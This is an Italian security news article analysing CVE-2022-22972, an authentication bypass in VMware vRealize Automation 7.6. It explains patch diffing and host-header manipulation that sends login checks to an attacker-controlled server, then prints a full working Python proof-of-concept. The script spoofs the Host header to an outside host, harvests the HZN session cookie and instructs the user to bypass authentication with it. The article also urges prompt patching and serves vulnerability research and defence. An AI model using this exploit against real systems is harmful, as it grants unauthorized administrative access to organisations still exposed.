VMware ha recentemente corretto una vulnerabilità critica di bypass dell’autenticazione nei propri prodotti VMware Workspace ONE Access, Identity Manager e vRealize Automation (CVE-2022-22972).
Un attore malintenzionato con accesso all’interfaccia utente potrebbe essere in grado di ottenere l’accesso amministrativo senza la necessità di autenticarsi.
WMware fornisce istruzioni su patch e soluzioni di mitigazione, ma non dello sfruttamento del difetto di sicurezza. Scavare nella patch è un buon punto di partenza. vRealize Automation 7.6 contiene un vIDM incorporato. Da tenere presente che altri prodotti e versioni hanno flussi di lavoro ed endpoint di autenticazione diversi.
 Avvio delle iscrizioni al corso "Cyber Offensive Fundamentals" Vuoi smettere di guardare tutorial e iniziare a capire davvero come funziona la sicurezza informatica? La base della sicurezza informatica, al di là di norme e tecnologie, ha sempre un unico obiettivo: fermare gli attacchi dei criminali informatici. Pertanto "Pensa come un attaccante, agisci come un difensore". Ti porteremo nel mondo dell'ethical hacking e del penetration test come nessuno ha mai fatto prima. Per informazioni potete accedere alla pagina del corso oppure contattarci tramite WhatsApp al numero 379 163 8765 oppure scrivendoci alla casella di posta [email protected].
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
I download e i dettagli della patch sono disponibili qui https://kb.vmware.com/s/article/70911.
Al momento della stesura di questo documento, la patch più recente che risolve la CVE-2022-22972 è la 28 che vi consigliamo di installarla il prima possibile.
VMware rilascia patch cumulative, il che significa che la patch 28 risolve tutte le vulnerabilità del prodotto. Ciò rende piuttosto difficile scoprire esattamente come viene affrontata la vulnerabilità più recente.
Per rimediare a questo problema, si possono confrontare le due patch quindi la 27 con la 28.
Dopo aver estratto le patch, si scopre che sono presenti file zip denominati patch-vRA-7.6.0-19482496-HF27.content nella patch 27 e patch-vRA-7.6.0-19772459.19640138-HF28.content nella patch 28.
Estraendo questi file zip si può quindi avere accesso al contenuto delle patch. Non ci sono molte differenze degne di nota nelle cartelle, ma è presente un rpm del servizio Horizon che non è più al suo posto.
Usando rpm2cpio si può quindi estrarre il contenuto.
Troviamo quindi tre differenze: dbConnection-0.1-jar-with-dependencies.jar, analytics-0.1.war, e frontend-01.war.
Estraiamo quindi i .warfile per trovare quanto segue relativamente a frontend-01.war:
Diff del war frontend
In particolare, troviamo un nuovo HostHeaderFilter.class e alcune differenze in web.xml dove viene mostrato che il nuovo HostHeaderFilter che viene applicato a tutti i modelli di URL.
web.xml diff
Usando quindi un decompilatore Java, si può convertire il file HostHeaderFilter.class in HostHeaderFilter.java:
HostHeaderFilter.java
Vediamo che questo filtro rifiuta qualsiasi richiesta con un’intestazione Host ritenuta non valida.
Questa è una cosa interessante da indagare e può essere appunto il modo per inviare strane intestazioni host.
Dopo aver esplorato senza successo vari endpoint, si nota qualcosa di strano durante l’invio di un’intestazione host non valida all’endpoint di accesso.
Si imposta quindi l’ Host su un valore falso, ovvero “asfd”.
richiesta di intestazione host non valida
Non c’è nulla degno di nota nella richiesta stessa, ma se osserviamo horizon.log, possiamo vedere che l’applicazione sta cercando di risolvere “asdf“.
Errore di risoluzione DNS
Ciò indica che l’applicazione sta tentando di stabilire una connessione a ciò che abbiamo inserito nell’intestazione Host.
Il prossimo passo è quello di capire come l’app si connetta per vedere che tipo di informazioni stia tentando di inviare. Pertanto è possibile scrivere un semplice server https:
server https
Dopo aver inserito il nostro indirizzo IP nell’intestazione dell’host, vediamo una nuova eccezione nel registro:
Eccezione SSL
Questo errore indica che l’applicazione non è in grado di convalidare il nostro certificato.
Questo ha senso perché il certificato sul nostro server è self signed.
Dopo aver aggiunto il nostro certificato nell’archivio certificati Java dell’appliance, possiamo vedere che l’applicazione si connette effettivamente al nostro server e invia le informazioni di accesso in una richiesta HTTP POST.
Da tenere presente che un utente malintenzionato non dovrebbe replicare questo passaggio. Potrebbero invece ospitare sul proprio server di accesso un server pubblico con un certificato valido.
connessione al server di autenticazione
L’applicazione si aspetta una risposta dal server HTTP per sapere se all’utente deve essere concesso o meno l’accesso. Si riscrive quindi il server per rispondere con uno stato 200 a qualsiasi richiesta POST.
server https
Con il nuovo server, siamo in grado di accedere con successo!
login effettuato con successo
Finora abbiamo utilizzato il proxy di Burp Suite per modificare le richieste inviate da un browser, ma ora vorremmo automatizzare questo flusso di lavoro per utilizzare degli exploit PoC.
Alla fine si tratterebbe di inviare tramite metodo POST
SAAS/auth/login/embeddedauthbroker/callback
Dove nell’Host venga riportata una intestazione personalizzata.
Questo endpoint richiede la codifica di alcuni metadati aggiuntivi nel corpo del POST. Se esaminiamo la fonte della pagina di accesso, troviamo le informazioni di cui abbiamo bisogno nei campi e dei moduli nascosti.
campi modulo nascosti
Il nostro POC invia le richieste a partire da /vcac dall’endpoint allo stesso modo di un browser e analizza la pagina di accesso per estrarre questi campi nascosti.
Questi campi nascosti vengono quindi codificati nel corpo del POST finale con l’intestazione Host impostata sul nostro server di accesso personalizzato. Il POC analizza quindi la risposta per estrarre i cookie di autenticazione. Questi cookie possono essere utilizzati per eseguire azioni come l’utente scelto.
Questo script può essere utilizzato ignorando l’autenticazione su vRealize Automation 7.6 utilizzando la CVE-2022-22972. Workspace ONE e vIDM hanno endpoint di autenticazione diversi, ma il punto cruciale della vulnerabilità rimane lo stesso.
import argparse
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse
urllib3.disable_warnings()
# parse arguments
parser = argparse.ArgumentParser(description='POC for CVE-2022-22972')
parser.add_argument('url', type=str, help='Base url of appliance')
parser.add_argument('--username', '-u', required=False, default='administrator',
help='Name of local user to use for login')
parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com',
help='Name of host to to use in Host header replacement. This host should have a login server running')
args = parser.parse_args()
url = args.url
if not url.endswith('/'):
url += "/"
# Create a new session
s = requests.Session()
# Uncomment the following to proxy through BurpSuite
# s.proxies = {
# "https": "https://127.0.0.1:8080"
# }
# Send an initial get request to get a session cookie
resp = s.get(url + "vcac", verify=False, allow_redirects=True)
# Get the url from the response in the event the user passed an ip
# address instead of a domain name
parsed_url = urlparse(resp.url)
url = parsed_url.scheme + "://" + parsed_url.netloc + "/"
# Send another get request with the original_uri parameter. This will cause
# a series of redirects ending with a login page with various hidden form fields that
# we need to extract for our final POST.
print("Extracting state from vcac redirects...")
params = {
"original_uri": f"{url}vcac",
}
resp = s.get(
url + "vcac/", verify=False, allow_redirects=True, params=params)
# Extract hidden forms fields
soup = BeautifulSoup(resp.text, 'html.parser')
form = soup.find('form')
if not form:
print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation')
sys.exit()
data = {
'protected_state': form.find('input', {'id': 'protected_state'}).get('value'),
'userstore': form.find('input', {'id': 'userstore'}).get('value'),
'username': args.username,
'password': 'horizon', # bogus password
'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'),
'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'),
'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'),
'action': 'Sign+in'
}
# Assemble to forms fields into the body of the POST
body = ""
for k, v in data.items():
body += f'{k}={v}&'
# remove last &
body = body[0:len(body) - 1]
# Create the auth POST request
req = s.prepare_request(requests.Request('POST',
url + "SAAS/auth/login/embeddedauthbroker/callback", data=body))
# Set the content type header. Set Host header for an endpoint that will return 200
# for requests to /SAAS/API/1.0/REST/auth/local/login
req.headers.update({
"Content-type": "application/x-www-form-urlencoded",
"Host": args.host
})
print("Sending POST to auth endpoint")
resp = s.send(req, verify=False, allow_redirects=False)
# Extract the cookies
print()
print(f"HZN={s.cookies.get('HZN')}")
print()
print("Set the HZN cookie in your browser to bypass authentication")
La CVE-2022-22972 è una vulnerabilità di manipolazione dell’intestazione Host relativamente semplice.
Gli aggressori motivati non avrebbero difficoltà a sviluppare un exploit per questa vulnerabilità. Una rapida ricerca su Shodan.io per le applicazioni VMware interessate restituisce un numero piuttosto basso di organizzazioni che le espongono a Internet.
Da notare che l’industria sanitaria, l’industria dell’istruzione e i governi sembrano far parte delle organizzazioni esposte, mettendole a rischio per lo sfruttamento attuale e futuro.
Le organizzazioni dovrebbero affrontare questi problemi seguendo immediatamente le indicazioni contenute nel VMware Security Advisory.
Fonti
https://github.com/horizon3ai/CVE-2022-22972
https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-CVE-2022-22972-technical-deep-dive/
https://www.rapid7.com/blog/post/2022/05/19/CVE-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/
Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.
Vulnerabilità
Cultura
Cultura
Innovazione
Diritti